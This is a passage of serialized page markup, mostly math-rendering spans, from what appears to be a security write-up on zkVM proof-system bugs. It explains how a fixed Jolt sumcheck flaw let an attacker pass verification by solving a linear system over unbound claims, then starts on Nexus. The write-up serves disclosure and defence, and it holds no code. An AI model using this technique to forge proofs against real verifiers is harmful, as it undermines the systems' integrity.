"value":98867},{"type":24,"tag":147,"props":121405,"children":121407},{"className":121406},[9650],[121408],{"type":24,"tag":147,"props":121409,"children":121411},{"className":121410},[9655,27244],[121412,121441],{"type":24,"tag":147,"props":121413,"children":121415},{"className":121414},[9660],[121416,121436],{"type":24,"tag":147,"props":121417,"children":121419},{"className":121418,"style":99159},[9665],[121420],{"type":24,"tag":147,"props":121421,"children":121422},{"style":116050},[121423,121427],{"type":24,"tag":147,"props":121424,"children":121426},{"className":121425,"style":9675},[9674],[],{"type":24,"tag":147,"props":121428,"children":121430},{"className":121429},[9680,9681,9682,9683],[121431],{"type":24,"tag":147,"props":121432,"children":121434},{"className":121433},[9635,27190,9683],[121435],{"type":29,"value":9363},{"type":24,"tag":147,"props":121437,"children":121439},{"className":121438},[27347],[121440],{"type":29,"value":27350},{"type":24,"tag":147,"props":121442,"children":121444},{"className":121443},[9660],[121445],{"type":24,"tag":147,"props":121446,"children":121448},{"className":121447,"style":98713},[9665],[121449],{"type":24,"tag":147,"props":121450,"children":121451},{},[],{"type":24,"tag":25,"props":121453,"children":121454},{},[121455,121457,121534,121536,121541,121543,121620,121622,121699,121701,121778],{"type":29,"value":121456},"where ",{"type":24,"tag":80,"props":121458,"children":121460},{"className":121459},[9607,9608],[121461],{"type":24,"tag":147,"props":121462,"children":121464},{"className":121463},[9613],[121465],{"type":24,"tag":147,"props":121466,"children":121468},{"className":121467,"ariaHidden":9619},[9618],[121469],{"type":24,"tag":147,"props":121470,"children":121472},{"className":121471},[9624],[121473,121477],{"type":24,"tag":147,"props":121474,"children":121476},{"className":121475,"style":115591},[9629],[],{"type":24,"tag":147,"props":121478,"children":121480},{"className":121479},[9635],[121481,121486],{"type":24,"tag":147,"props":121482,"children":121484},{"className":121483,"style":120708},[9635,27190],[121485],{"type":29,"value":120711},{"type":24,"tag":147,"props":121487,"children":121489},{"className":121488},[9650],[121490],{"type":24,"tag":147,"props":121491,"children":121493},{"className":121492},[9655,27244],[121494,121523],{"type":24,"tag":147,"props":121495,"children":121497},{"className":121496},[9660],[121498,121518],{"type":24,"tag":147,"props":121499,"children":121501},{"className":121500,"style":99159},[9665],[121502],{"type":24,"tag":147,"props":121503,"children":121504},{"style":121343},[121505,121509],{"type":24,"tag":147,"props":121506,"children":121508},{"className":121507,"style":9675},[9674],[],{"type":24,"tag":147,"props":121510,"children":121512},{"className":121511},[9680,9681,9682,9683],[121513],{"type":24,"tag":147,"props":121514,"children":121516},{"className":121515},[9635,27190,9683],[121517],{"type":29,"value":9363},{"type":24,"tag":147,"props":121519,"children":121521},{"className":121520},[27347],[121522],{"type":29,"value":27350},{"type":24,"tag":147,"props":121524,"children":121526},{"className":121525},[9660],[121527],{"type":24,"tag":147,"props":121528,"children":121530},{"className":121529,"style":98713},[9665],[121531],{"type":24,"tag":147,"props":121532,"children":121533},{},[],{"type":29,"value":121535}," are random coefficients derived from the transcript. Since ",{"type":24,"tag":80,"props":121537,"children":121539},{"className":121538},[],[121540],{"type":29,"value":121084},{"type":29,"value":121542}," (containing ",{"type":24,"tag":80,"props":121544,"children":121546},{"className":121545},[9607,9608],[121547],{"type":24,"tag":147,"props":121548,"children":121550},{"className":121549},[9613],[121551],{"type":24,"tag":147,"props":121552,"children":121554},{"className":121553,"ariaHidden":9619},[9618],[121555],{"type":24,"tag":147,"props":121556,"children":121558},{"className":121557},[9624],[121559,121563],{"type":24,"tag":147,"props":121560,"children":121562},{"className":121561,"style":116618},[9629],[],{"type":24,"tag":147,"props":121564,"children":121566},{"className":121565},[9635],[121567,121572],{"type":24,"tag":147,"props":121568,"children":121570},{"className":121569,"style":98864},[9635,27190],[121571],{"type":29,"value":98867},{"type":24,"tag":147,"props":121573,"children":121575},{"className":121574},[9650],[121576],{"type":24,"tag":147,"props":121577,"children":121579},{"className":121578},[9655,27244],[121580,121609],{"type":24,"tag":147,"props":121581,"children":121583},{"className":121582},[9660],[121584,121604],{"type":24,"tag":147,"props":121585,"children":121587},{"className":121586,"style":99159},[9665],[121588],{"type":24,"tag":147,"props":121589,"children":121590},{"style":116050},[121591,121595],{"type":24,"tag":147,"props":121592,"children":121594},{"className":121593,"style":9675},[9674],[],{"type":24,"tag":147,"props":121596,"children":121598},{"className":121597},[9680,9681,9682,9683],[121599],{"type":24,"tag":147,"props":121600,"children":121602},{"className":121601},[9635,27190,9683],[121603],{"type":29,"value":9363},{"type":24,"tag":147,"props":121605,"children":121607},{"className":121606},[27347],[121608],{"type":29,"value":27350},{"type":24,"tag":147,"props":121610,"children":121612},{"className":121611},[9660],[121613],{"type":24,"tag":147,"props":121614,"children":121616},{"className":121615,"style":98713},[9665],[121617],{"type":24,"tag":147,"props":121618,"children":121619},{},[],{"type":29,"value":121621},") were not in the transcript, the ",{"type":24,"tag":80,"props":121623,"children":121625},{"className":121624},[9607,9608],[121626],{"type":24,"tag":147,"props":121627,"children":121629},{"className":121628},[9613],[121630],{"type":24,"tag":147,"props":121631,"children":121633},{"className":121632,"ariaHidden":9619},[9618],[121634],{"type":24,"tag":147,"props":121635,"children":121637},{"className":121636},[9624],[121638,121642],{"type":24,"tag":147,"props":121639,"children":121641},{"className":121640,"style":115591},[9629],[],{"type":24,"tag":147,"props":121643,"children":121645},{"className":121644},[9635],[121646,121651],{"type":24,"tag":147,"props":121647,"children":121649},{"className":121648,"style":120708},[9635,27190],[121650],{"type":29,"value":120711},{"type":24,"tag":147,"props":121652,"children":121654},{"className":121653},[9650],[121655],{"type":24,"tag":147,"props":121656,"children":121658},{"className":121657},[9655,27244],[121659,121688],{"type":24,"tag":147,"props":121660,"children":121662},{"className":121661},[9660],[121663,121683],{"type":24,"tag":147,"props":121664,"children":121666},{"className":121665,"style":99159},[9665],[121667],{"type":24,"tag":147,"props":121668,"children":121669},{"style":121343},[121670,121674],{"type":24,"tag":147,"props":121671,"children":121673},{"className":121672,"style":9675},[9674],[],{"type":24,"tag":147,"props":121675,"children":121677},{"className":121676},[9680,9681,9682,9683],[121678],{"type":24,"tag":147,"props":121679,"children":121681},{"className":121680},[9635,27190,9683],[121682],{"type":29,"value":9363},{"type":24,"tag":147,"props":121684,"children":121686},{"className":121685},[27347],[121687],{"type":29,"value":27350},{"type":24,"tag":147,"props":121689,"children":121691},{"className":121690},[9660],[121692],{"type":24,"tag":147,"props":121693,"children":121695},{"className":121694,"style":98713},[9665],[121696],{"type":24,"tag":147,"props":121697,"children":121698},{},[],{"type":29,"value":121700}," values are independent of ",{"type":24,"tag":80,"props":121702,"children":121704},{"className":121703},[9607,9608],[121705],{"type":24,"tag":147,"props":121706,"children":121708},{"className":121707},[9613],[121709],{"type":24,"tag":147,"props":121710,"children":121712},{"className":121711,"ariaHidden":9619},[9618],[121713],{"type":24,"tag":147,"props":121714,"children":121716},{"className":121715},[9624],[121717,121721],{"type":24,"tag":147,"props":121718,"children":121720},{"className":121719,"style":116618},[9629],[],{"type":24,"tag":147,"props":121722,"children":121724},{"className":121723},[9635],[121725,121730],{"type":24,"tag":147,"props":121726,"children":121728},{"className":121727,"style":98864},[9635,27190],[121729],{"type":29,"value":98867},{"type":24,"tag":147,"props":121731,"children":121733},{"className":121732},[9650],[121734],{"type":24,"tag":147,"props":121735,"children":121737},{"className":121736},[9655,27244],[121738,121767],{"type":24,"tag":147,"props":121739,"children":121741},{"className":121740},[9660],[121742,121762],{"type":24,"tag":147,"props":121743,"children":121745},{"className":121744,"style":99159},[9665],[121746],{"type":24,"tag":147,"props":121747,"children":121748},{"style":116050},[121749,121753],{"type":24,"tag":147,"props":121750,"children":121752},{"className":121751,"style":9675},[9674],[],{"type":24,"tag":147,"props":121754,"children":121756},{"className":121755},[9680,9681,9682,9683],[121757],{"type":24,"tag":147,"props":121758,"children":121760},{"className":121759},[9635,27190,9683],[121761],{"type":29,"value":9363},{"type":24,"tag":147,"props":121763,"children":121765},{"className":121764},[27347],[121766],{"type":29,"value":27350},{"type":24,"tag":147,"props":121768,"children":121770},{"className":121769},[9660],[121771],{"type":24,"tag":147,"props":121772,"children":121774},{"className":121773,"style":98713},[9665],[121775],{"type":24,"tag":147,"props":121776,"children":121777},{},[],{"type":29,"value":87},{"type":24,"tag":25,"props":121780,"children":121781},{},[121782],{"type":24,"tag":10949,"props":121783,"children":121784},{},[121785],{"type":29,"value":121786},"Why it's linear:",{"type":24,"tag":25,"props":121788,"children":121789},{},[121790,121792],{"type":29,"value":121791},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":24,"tag":80,"props":121793,"children":121795},{"className":121794},[9607,9608],[121796],{"type":24,"tag":147,"props":121797,"children":121799},{"className":121798},[9613],[121800],{"type":24,"tag":147,"props":121801,"children":121803},{"className":121802,"ariaHidden":9619},[9618],[121804],{"type":24,"tag":147,"props":121805,"children":121807},{"className":121806},[9624],[121808,121812],{"type":24,"tag":147,"props":121809,"children":121811},{"className":121810,"style":27185},[9629],[],{"type":24,"tag":147,"props":121813,"children":121815},{"className":121814,"style":98864},[9635,27190],[121816],{"type":29,"value":98867},{"type":24,"tag":25,"props":121818,"children":121819},{},[121820],{"type":24,"tag":80,"props":121821,"children":121823},{"className":121822},[9607,9608],[121824],{"type":24,"tag":147,"props":121825,"children":121827},{"className":121826},[9613],[121828],{"type":24,"tag":147,"props":121829,"children":121831},{"className":121830,"ariaHidden":9619},[9618],[121832,121922,121948,121974],{"type":24,"tag":147,"props":121833,"children":121835},{"className":121834},[9624],[121836,121840,121909,121913,121918],{"type":24,"tag":147,"props":121837,"children":121839},{"className":121838,"style":116618},[9629],[],{"type":24,"tag":147,"props":121841,"children":121843},{"className":121842},[9635],[121844,121850],{"type":24,"tag":147,"props":121845,"children":121847},{"className":121846,"style":27722},[9635,27190],[121848],{"type":29,"value":121849},"C",{"type":24,"tag":147,"props":121851,"children":121853},{"className":121852},[9650],[121854],{"type":24,"tag":147,"props":121855,"children":121857},{"className":121856},[9655,27244],[121858,121898],{"type":24,"tag":147,"props":121859,"children":121861},{"className":121860},[9660],[121862,121893],{"type":24,"tag":147,"props":121863,"children":121866},{"className":121864,"style":121865},[9665],"height:0.3361em;",[121867],{"type":24,"tag":147,"props":121868,"children":121870},{"style":121869},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[121871,121875],{"type":24,"tag":147,"props":121872,"children":121874},{"className":121873,"style":9675},[9674],[],{"type":24,"tag":147,"props":121876,"children":121878},{"className":121877},[9680,9681,9682,9683],[121879],{"type":24,"tag":147,"props":121880,"children":121882},{"className":121881},[9635,9683],[121883],{"type":24,"tag":147,"props":121884,"children":121886},{"className":121885},[9635,29,9683],[121887],{"type":24,"tag":147,"props":121888,"children":121890},{"className":121889},[9635,9683],[121891],{"type":29,"value":121892},"final",{"type":24,"tag":147,"props":121894,"children":121896},{"className":121895},[27347],[121897],{"type":29,"value":27350},{"type":24,"tag":147,"props":121899,"children":121901},{"className":121900},[9660],[121902],{"type":24,"tag":147,"props":121903,"children":121905},{"className":121904,"style":98713},[9665],[121906],{"type":24,"tag":147,"props":121907,"children":121908},{},[],{"type":24,"tag":147,"props":121910,"children":121912},{"className":121911,"style":9812},[9714],[],{"type":24,"tag":147,"props":121914,"children":121916},{"className":121915},[9817],[121917],{"type":29,"value":369},{"type":24,"tag":147,"props":121919,"children":121921},{"className":121920,"style":9812},[9714],[],{"type":24,"tag":147,"props":121923,"children":121925},{"className":121924},[9624],[121926,121930,121935,121939,121944],{"type":24,"tag":147,"props":121927,"children":121929},{"className":121928,"style":120703},[9629],[],{"type":24,"tag":147,"props":121931,"children":121933},{"className":121932},[9635,27190],[121934],{"type":29,"value":2773},{"type":24,"tag":147,"props":121936,"children":121938},{"className":121937,"style":9715},[9714],[],{"type":24,"tag":147,"props":121940,"children":121942},{"className":121941},[9720],[121943],{"type":29,"value":116883},{"type":24,"tag":147,"props":121945,"children":121947},{"className":121946,"style":9715},[9714],[],{"type":24,"tag":147,"props":121949,"children":121951},{"className":121950},[9624],[121952,121956,121961,121965,121970],{"type":24,"tag":147,"props":121953,"children":121955},{"className":121954,"style":120732},[9629],[],{"type":24,"tag":147,"props":121957,"children":121959},{"className":121958,"style":98864},[9635,27190],[121960],{"type":29,"value":98867},{"type":24,"tag":147,"props":121962,"children":121964},{"className":121963,"style":9715},[9714],[],{"type":24,"tag":147,"props":121966,"children":121968},{"className":121967},[9720],[121969],{"type":29,"value":624},{"type":24,"tag":147,"props":121971,"children":121973},{"className":121972,"style":9715},[9714],[],{"type":24,"tag":147,"props":121975,"children":121977},{"className":121976},[9624],[121978,121982],{"type":24,"tag":147,"props":121979,"children":121981},{"className":121980,"style":98545},[9629],[],{"type":24,"tag":147,"props":121983,"children":121985},{"className":121984},[9635,27190],[121986],{"type":29,"value":8852},{"type":24,"tag":25,"props":121988,"children":121989},{},[121990,121991,122030,122032,122057,122059,122189,122191,122312],{"type":29,"value":121456},{"type":24,"tag":80,"props":121992,"children":121994},{"className":121993},[9607,9608],[121995],{"type":24,"tag":147,"props":121996,"children":121998},{"className":121997},[9613],[121999],{"type":24,"tag":147,"props":122000,"children":122002},{"className":122001,"ariaHidden":9619},[9618],[122003],{"type":24,"tag":147,"props":122004,"children":122006},{"className":122005},[9624],[122007,122011,122016,122021,122025],{"type":24,"tag":147,"props":122008,"children":122010},{"className":122009,"style":120675},[9629],[],{"type":24,"tag":147,"props":122012,"children":122014},{"className":122013},[9635,27190],[122015],{"type":29,"value":2773},{"type":24,"tag":147,"props":122017,"children":122019},{"className":122018},[9746],[122020],{"type":29,"value":9749},{"type":24,"tag":147,"props":122022,"children":122024},{"className":122023,"style":9753},[9714],[],{"type":24,"tag":147,"props":122026,"children":122028},{"className":122027},[9635,27190],[122029],{"type":29,"value":8852},{"type":29,"value":122031}," are determined by the transcript (independent of ",{"type":24,"tag":80,"props":122033,"children":122035},{"className":122034},[9607,9608],[122036],{"type":24,"tag":147,"props":122037,"children":122039},{"className":122038},[9613],[122040],{"type":24,"tag":147,"props":122041,"children":122043},{"className":122042,"ariaHidden":9619},[9618],[122044],{"type":24,"tag":147,"props":122045,"children":122047},{"className":122046},[9624],[122048,122052],{"type":24,"tag":147,"props":122049,"children":122051},{"className":122050,"style":27185},[9629],[],{"type":24,"tag":147,"props":122053,"children":122055},{"className":122054,"style":98864},[9635,27190],[122056],{"type":29,"value":98867},{"type":29,"value":122058},"). The verifier checks that ",{"type":24,"tag":80,"props":122060,"children":122062},{"className":122061},[9607,9608],[122063],{"type":24,"tag":147,"props":122064,"children":122066},{"className":122065},[9613],[122067],{"type":24,"tag":147,"props":122068,"children":122070},{"className":122069,"ariaHidden":9619},[9618],[122071,122157],{"type":24,"tag":147,"props":122072,"children":122074},{"className":122073},[9624],[122075,122079,122144,122148,122153],{"type":24,"tag":147,"props":122076,"children":122078},{"className":122077,"style":116618},[9629],[],{"type":24,"tag":147,"props":122080,"children":122082},{"className":122081},[9635],[122083,122088],{"type":24,"tag":147,"props":122084,"children":122086},{"className":122085,"style":27722},[9635,27190],[122087],{"type":29,"value":121849},{"type":24,"tag":147,"props":122089,"children":122091},{"className":122090},[9650],[122092],{"type":24,"tag":147,"props":122093,"children":122095},{"className":122094},[9655,27244],[122096,122133],{"type":24,"tag":147,"props":122097,"children":122099},{"className":122098},[9660],[122100,122128],{"type":24,"tag":147,"props":122101,"children":122103},{"className":122102,"style":121865},[9665],[122104],{"type":24,"tag":147,"props":122105,"children":122106},{"style":121869},[122107,122111],{"type":24,"tag":147,"props":122108,"children":122110},{"className":122109,"style":9675},[9674],[],{"type":24,"tag":147,"props":122112,"children":122114},{"className":122113},[9680,9681,9682,9683],[122115],{"type":24,"tag":147,"props":122116,"children":122118},{"className":122117},[9635,9683],[122119],{"type":24,"tag":147,"props":122120,"children":122122},{"className":122121},[9635,29,9683],[122123],{"type":24,"tag":147,"props":122124,"children":122126},{"className":122125},[9635,9683],[122127],{"type":29,"value":121892},{"type":24,"tag":147,"props":122129,"children":122131},{"className":122130},[27347],[122132],{"type":29,"value":27350},{"type":24,"tag":147,"props":122134,"children":122136},{"className":122135},[9660],[122137],{"type":24,"tag":147,"props":122138,"children":122140},{"className":122139,"style":98713},[9665],[122141],{"type":24,"tag":147,"props":122142,"children":122143},{},[],{"type":24,"tag":147,"props":122145,"children":122147},{"className":122146,"style":9812},[9714],[],{"type":24,"tag":147,"props":122149,"children":122151},{"className":122150},[9817],[122152],{"type":29,"value":369},{"type":24,"tag":147,"props":122154,"children":122156},{"className":122155,"style":9812},[9714],[],{"type":24,"tag":147,"props":122158,"children":122160},{"className":122159},[9624],[122161,122165,122175,122180],{"type":24,"tag":147,"props":122162,"children":122164},{"className":122163,"style":100043},[9629],[],{"type":24,"tag":147,"props":122166,"children":122168},{"className":122167},[9635,29],[122169],{"type":24,"tag":147,"props":122170,"children":122172},{"className":122171},[9635],[122173],{"type":29,"value":122174},"expected",{"type":24,"tag":147,"props":122176,"children":122178},{"className":122177,"style":98630},[9635],[122179],{"type":29,"value":8714},{"type":24,"tag":147,"props":122181,"children":122183},{"className":122182},[9635,29],[122184],{"type":24,"tag":147,"props":122185,"children":122187},{"className":122186},[9635],[122188],{"type":29,"value":43146},{"type":29,"value":122190}," (from PCS opening), this becomes ",{"type":24,"tag":80,"props":122192,"children":122194},{"className":122193},[9607,9608],[122195],{"type":24,"tag":147,"props":122196,"children":122198},{"className":122197},[9613],[122199],{"type":24,"tag":147,"props":122200,"children":122202},{"className":122201,"ariaHidden":9619},[9618],[122203,122229,122255,122281],{"type":24,"tag":147,"props":122204,"children":122206},{"className":122205},[9624],[122207,122211,122216,122220,122225],{"type":24,"tag":147,"props":122208,"children":122210},{"className":122209,"style":120703},[9629],[],{"type":24,"tag":147,"props":122212,"children":122214},{"className":122213},[9635,27190],[122215],{"type":29,"value":2773},{"type":24,"tag":147,"props":122217,"children":122219},{"className":122218,"style":9715},[9714],[],{"type":24,"tag":147,"props":122221,"children":122223},{"className":122222},[9720],[122224],{"type":29,"value":116883},{"type":24,"tag":147,"props":122226,"children":122228},{"className":122227,"style":9715},[9714],[],{"type":24,"tag":147,"props":122230,"children":122232},{"className":122231},[9624],[122233,122237,122242,122246,122251],{"type":24,"tag":147,"props":122234,"children":122236},{"className":122235,"style":120732},[9629],[],{"type":24,"tag":147,"props":122238,"children":122240},{"className":122239,"style":98864},[9635,27190],[122241],{"type":29,"value":98867},{"type":24,"tag":147,"props":122243,"children":122245},{"className":122244,"style":9715},[9714],[],{"type":24,"tag":147,"props":122247,"children":122249},{"className":122248},[9720],[122250],{"type":29,"value":624},{"type":24,"tag":147,"props":122252,"children":122254},{"className":122253,"style":9715},[9714],[],{"type":24,"tag":147,"props":122256,"children":122258},{"className":122257},[9624],[122259,122263,122268,122272,122277],{"type":24,"tag":147,"props":122260,"children":122262},{"className":122261,"style":98545},[9629],[],{"type":24,"tag":147,"props":122264,"children":122266},{"className":122265},[9635,27190],[122267],{"type":29,"value":8852},{"type":24,"tag":147,"props":122269,"children":122271},{"className":122270,"style":9812},[9714],[],{"type":24,"tag":147,"props":122273,"children":122275},{"className":122274},[9817],[122276],{"type":29,"value":369},{"type":24,"tag":147,"props":122278,"children":122280},{"className":122279,"style":9812},[9714],[],{"type":24,"tag":147,"props":122282,"children":122284},{"className":122283},[9624],[122285,122289,122298,122303],{"type":24,"tag":147,"props":122286,"children":122288},{"className":122287,"style":100043},[9629],[],{"type":24,"tag":147,"props":122290,"children":122292},{"className":122291},[9635,29],[122293],{"type":24,"tag":147,"props":122294,"children":122296},{"className":122295},[9635],[122297],{"type":29,"value":122174},{"type":24,"tag":147,"props":122299,"children":122301},{"className":122300,"style":98630},[9635],[122302],{"type":29,"value":8714},{"type":24,"tag":147,"props":122304,"children":122306},{"className":122305},[9635,29],[122307],{"type":24,"tag":147,"props":122308,"children":122310},{"className":122309},[9635],[122311],{"type":29,"value":43146},{"type":29,"value":87},{"type":24,"tag":25,"props":122314,"children":122315},{},[122316],{"type":29,"value":122317},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":24,"tag":25,"props":122319,"children":122320},{},[122321],{"type":29,"value":122322},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":24,"tag":25,"props":122324,"children":122325},{},[122326,122331,122333],{"type":24,"tag":10949,"props":122327,"children":122328},{},[122329],{"type":29,"value":122330},"Status:",{"type":29,"value":122332}," Fixed on October 3, 2025 via ",{"type":24,"tag":2773,"props":122334,"children":122337},{"href":122335,"rel":122336},"https://github.com/a16z/jolt/pull/981",[2777],[122338],{"type":29,"value":122339},"PR #981",{"type":24,"tag":2665,"props":122341,"children":122342},{},[],{"type":24,"tag":43,"props":122344,"children":122346},{"id":122345},"nexus",[122347],{"type":29,"value":113440},{"type":24,"tag":25,"props":122349,"children":122350},{},[122351],{"type":29,"value":122352},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":24,"tag":25,"props":122354,"children":122355},{},[122356,122358,122363],{"type":29,"value":122357},"Nexus splits verification into ",{"type":24,"tag":10949,"props":122359,"children":122360},{},[122361],{"type":29,"value":122362},"components",{"type":29,"value":122364}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":24,"tag":25,"props":122366,"children":122367},{},[122368,122370,122375],{"type":29,"value":122369},"Each component emits and consumes lookup tuples. The component's ",{"type":24,"tag":80,"props":122371,"children":122373},{"className":122372},[],[122374],{"type":29,"value":120484},{"type":29,"value":122376}," summarizes its net contribution:",{"type":24,"tag":25,"props":122378,"children":122379},{},[122380],{"type":24,"tag":80,"props":122381,"children":122383},{"className":122382},[9607,9608],[122384],{"type":24,"tag":147,"props":122385,"children":122387},{"className":122386},[9613],[122388],{"type":24,"tag":147,"props":122389,"children":122391},{"className":122390,"ariaHidden":9619},[9618],[122392,122488,122737],{"type":24,"tag":147,"props":122393,"children":122395},{"className":122394},[9624],[122396,122400,122409,122414,122475,122479,122484],{"type":24,"tag":147,"props":122397,"children":122399},{"className":122398,"style":100043},[9629],[],{"type":24,"tag":147,"props":122401,"children":122403},{"className":122402},[9635,29],[122404],{"type":24,"tag":147,"props":122405,"children":122407},{"className":122406},[9635],[122408],{"type":29,"value":119713},{"type":24,"tag":147,"props":122410,"children":122412},{"className":122411,"style":98630},[9635],[122413],{"type":29,"value":8714},{"type":24,"tag":147,"props":122415,"children":122417},{"className":122416},[9635],[122418,122427],{"type":24,"tag":147,"props":122419,"children":122421},{"className":122420},[9635,29],[122422],{"type":24,"tag":147,"props":122423,"children":122425},{"className":122424},[9635],[122426],{"type":29,"value":82216},{"type":24,"tag":147,"props":122428,"children":122430},{"className":122429},[9650],[122431],{"type":24,"tag":147,"props":122432,"children":122434},{"className":122433},[9655,27244],[122435,122464],{"type":24,"tag":147,"props":122436,"children":122438},{"className":122437},[9660],[122439,122459],{"type":24,"tag":147,"props":122440,"children":122442},{"className":122441,"style":99159},[9665],[122443],{"type":24,"tag":147,"props":122444,"children":122445},{"style":119750},[122446,122450],{"type":24,"tag":147,"props":122447,"children":122449},{"className":122448,"style":9675},[9674],[],{"type":24,"tag":147,"props":122451,"children":122453},{"className":122452},[9680,9681,9682,9683],[122454],{"type":24,"tag":147,"props":122455,"children":122457},{"className":122456},[9635,27190,9683],[122458],{"type":29,"value":9363},{"type":24,"tag":147,"props":122460,"children":122462},{"className":122461},[27347],[122463],{"type":29,"value":27350},{"type":24,"tag":147,"props":122465,"children":122467},{"className":122466},[9660],[122468],{"type":24,"tag":147,"props":122469,"children":122471},{"className":122470,"style":98713},[9665],[122472],{"type":24,"tag":147,"props":122473,"children":122474},{},[],{"type":24,"tag":147,"props":122476,"children":122478},{"className":122477,"style":9812},[9714],[],{"type":24,"tag":147,"props":122480,"children":122482},{"className":122481},[9817],[122483],{"type":29,"value":369},{"type":24,"tag":147,"props":122485,"children":122487},{"className":122486,"style":9812},[9714],[],{"type":24,"tag":147,"props":122489,"children":122491},{"className":122490},[9624],[122492,122497,122554,122558,122724,122728,122733],{"type":24,"tag":147,"props":122493,"children":122496},{"className":122494,"style":122495},[9629],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":24,"tag":147,"props":122498,"children":122500},{"className":122499},[27226],[122501,122506],{"type":24,"tag":147,"props":122502,"children":122504},{"className":122503,"style":27233},[27226,27231,27232],[122505],{"type":29,"value":114416},{"type":24,"tag":147,"props":122507,"children":122509},{"className":122508},[9650],[122510],{"type":24,"tag":147,"props":122511,"children":122513},{"className":122512},[9655,27244],[122514,122543],{"type":24,"tag":147,"props":122515,"children":122517},{"className":122516},[9660],[122518,122538],{"type":24,"tag":147,"props":122519,"children":122521},{"className":122520,"style":119827},[9665],[122522],{"type":24,"tag":147,"props":122523,"children":122524},{"style":27257},[122525,122529],{"type":24,"tag":147,"props":122526,"children":122528},{"className":122527,"style":9675},[9674],[],{"type":24,"tag":147,"props":122530,"children":122532},{"className":122531},[9680,9681,9682,9683],[122533],{"type":24,"tag":147,"props":122534,"children":122536},{"className":122535,"style":119843},[9635,27190,9683],[122537],{"type":29,"value":14281},{"type":24,"tag":147,"props":122539,"children":122541},{"className":122540},[27347],[122542],{"type":29,"value":27350},{"type":24,"tag":147,"props":122544,"children":122546},{"className":122545},[9660],[122547],{"type":24,"tag":147,"props":122548,"children":122550},{"className":122549,"style":119858},[9665],[122551],{"type":24,"tag":147,"props":122552,"children":122553},{},[],{"type":24,"tag":147,"props":122555,"children":122557},{"className":122556,"style":9753},[9714],[],{"type":24,"tag":147,"props":122559,"children":122561},{"className":122560},[9635],[122562,122566,122720],{"type":24,"tag":147,"props":122563,"children":122565},{"className":122564},[27319,119138],[],{"type":24,"tag":147,"props":122567,"children":122569},{"className":122568},[119143],[122570],{"type":24,"tag":147,"props":122571,"children":122573},{"className":122572},[9655,27244],[122574,122708],{"type":24,"tag":147,"props":122575,"children":122577},{"className":122576},[9660],[122578,122703],{"type":24,"tag":147,"props":122579,"children":122581},{"className":122580,"style":119156},[9665],[122582,122672,122683],{"type":24,"tag":147,"props":122583,"children":122584},{"style":119160},[122585,122589],{"type":24,"tag":147,"props":122586,"children":122588},{"className":122587,"style":117792},[9674],[],{"type":24,"tag":147,"props":122590,"children":122592},{"className":122591},[9680,9681,9682,9683],[122593],{"type":24,"tag":147,"props":122594,"children":122596},{"className":122595},[9635,9683],[122597,122602,122607],{"type":24,"tag":147,"props":122598,"children":122600},{"className":122599,"style":119177},[9635,27190,9683],[122601],{"type":29,"value":119180},{"type":24,"tag":147,"props":122603,"children":122605},{"className":122604},[9720,9683],[122606],{"type":29,"value":9694},{"type":24,"tag":147,"props":122608,"children":122610},{"className":122609},[9635,9683],[122611,122621],{"type":24,"tag":147,"props":122612,"children":122614},{"className":122613},[9635,29,9683],[122615],{"type":24,"tag":147,"props":122616,"children":122618},{"className":122617},[9635,9683],[122619],{"type":29,"value":122620},"produced",{"type":24,"tag":147,"props":122622,"children":122624},{"className":122623},[9650],[122625],{"type":24,"tag":147,"props":122626,"children":122628},{"className":122627},[9655,27244],[122629,122660],{"type":24,"tag":147,"props":122630,"children":122632},{"className":122631},[9660],[122633,122655],{"type":24,"tag":147,"props":122634,"children":122637},{"className":122635,"style":122636},[9665],"height:0.2052em;",[122638],{"type":24,"tag":147,"props":122639,"children":122641},{"style":122640},"top:-2.2341em;margin-right:0.0714em;",[122642,122646],{"type":24,"tag":147,"props":122643,"children":122645},{"className":122644,"style":114481},[9674],[],{"type":24,"tag":147,"props":122647,"children":122649},{"className":122648},[9680,114486,114487,9683],[122650],{"type":24,"tag":147,"props":122651,"children":122653},{"className":122652,"style":119843},[9635,27190,9683],[122654],{"type":29,"value":14281},{"type":24,"tag":147,"props":122656,"children":122658},{"className":122657},[27347],[122659],{"type":29,"value":27350},{"type":24,"tag":147,"props":122661,"children":122663},{"className":122662},[9660],[122664],{"type":24,"tag":147,"props":122665,"children":122668},{"className":122666,"style":122667},[9665],"height:0.4048em;",[122669],{"type":24,"tag":147,"props":122670,"children":122671},{},[],{"type":24,"tag":147,"props":122673,"children":122674},{"style":119193},[122675,122679],{"type":24,"tag":147,"props":122676,"children":122678},{"className":122677,"style":117792},[9674],[],{"type":24,"tag":147,"props":122680,"children":122682},{"className":122681,"style":119203},[119202],[],{"type":24,"tag":147,"props":122684,"children":122685},{"style":119207},[122686,122690],{"type":24,"tag":147,"props":122687,"children":122689},{"className":122688,"style":117792},[9674],[],{"type":24,"tag":147,"props":122691,"children":122693},{"className":122692},[9680,9681,9682,9683],[122694],{"type":24,"tag":147,"props":122695,"children":122697},{"className":122696},[9635,9683],[122698],{"type":24,"tag":147,"props":122699,"children":122701},{"className":122700},[9635,9683],[122702],{"type":29,"value":1154},{"type":24,"tag":147,"props":122704,"children":122706},{"className":122705},[27347],[122707],{"type":29,"value":27350},{"type":24,"tag":147,"props":122709,"children":122711},{"className":122710},[9660],[122712],{"type":24,"tag":147,"props":122713,"children":122716},{"className":122714,"style":122715},[9665],"height:0.6283em;",[122717],{"type":24,"tag":147,"props":122718,"children":122719},{},[],{"type":24,"tag":147,"props":122721,"children":122723},{"className":122722},[27341,119138],[],{"type":24,"tag":147,"props":122725,"children":122727},{"className":122726,"style":9715},[9714],[],{"type":24,"tag":147,"props":122729,"children":122731},{"className":122730},[9720],[122732],{"type":29,"value":9694},{"type":24,"tag":147,"props":122734,"children":122736},{"className":122735,"style":9715},[9714],[],{"type":24,"tag":147,"props":122738,"children":122740},{"className":122739},[9624],[122741,122745,122802,122806],{"type":24,"tag":147,"props":122742,"children":122744},{"className":122743,"style":120052},[9629],[],{"type":24,"tag":147,"props":122746,"children":122748},{"className":122747},[27226],[122749,122754],{"type":24,"tag":147,"props":122750,"children":122752},{"className":122751,"style":272